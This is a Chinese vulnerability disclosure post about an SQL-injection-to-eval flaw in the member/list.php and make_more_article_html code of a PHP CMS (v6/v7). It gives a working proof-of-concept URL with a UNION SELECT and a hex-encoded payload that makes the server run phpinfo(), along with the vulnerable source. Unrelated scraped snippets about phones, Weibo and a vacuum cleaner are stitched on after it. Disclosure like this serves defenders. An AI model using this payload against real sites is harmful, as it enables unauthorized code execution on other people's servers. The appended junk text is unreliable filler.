时间:2021-05-24
刚搜了一下貌似和以前一个漏洞是一个问题。有点鸡肋,需要条件:
1.网站配置为:文章生成真静态
2.允许注册会员
给出v6的测试代码,提交后执行phpinfo(),v7原理一样,只是数据库字段数不一样。
member/list.php?step=2&Type=delete&aidDB[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7B247B706870696E666F28297D7D,6,7%23
0x01 漏洞在make_more_article_html这个函数:
function make_more_article_html($comebackurl='/',$type='',$aidDB=''){
global $db,$pre,$webdb,$webdb,$showHtml_Type;
if($webdb[NewsMakeHtml]!=1||$aidDB=='') // $webdb[NewsMakeHtml] 真静态
{ return ;}
...
$query = $db->query("SELECT A.*,B.bencandy_html,B.list_html,D.aid FROM {$pre}article_db D LEFT JOIN {$pre}article A ON D.aid=A.aid LEFT JOIN {$pre}sort B ON A.fid=B.fid WHERE D.aid IN ($string)");
while($rs = $db->fetch_array($query)){
...
$filename_b=$rs[bencandy_html];
...
eval("\$showurl=\"$filename_b\";");
...
0x02 在 \member\list.php中调用了该漏洞函数:
if($step==2){
...
if($Type=='delete'){
make_more_article_html("$FROMURL","del_0",$aidDB);
by:k4shifz[w.s.t]
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
美图V7手机怎么样?值得买吗?下面小编带来美图V7手机详细评测,希望对大家有所帮助。美图V7手机详细评测:一、前言:小米联姻美图V7成最后一代自研嫡作去年11月
新浪微博v6怎么降级呢?对于新浪微博强制用户进行的行为,大家在气愤的同时只能选择降级,那么新浪微博v6怎么降级呢?下文小编就为大家带来新浪微博v6的降级步骤
新浪微博V6版经过大规模的公测之后,于27日开始讲所有用户强制升级成微博V6版。但是不少用户都不喜欢V6版微博,想恢复到旧版的微博,现在还是有办法的。跟小编一起
荣耀平板V6于2020年5月18日荣耀全场景生活发布会上进行发布。标配WiFi6,然后还有5G版可选。 荣耀平板V6是荣耀旗下首款同时支持5G和Wi-Fi6的
戴森v7集尘盒打不开的解决方法是戴森v7集尘盒手柄处为气旋,拉住气旋傍边的红色拉扣。这时顶住机身可以将气旋拉出,当将气旋拉到一声异响之后集尘桶盖便会自动打开。若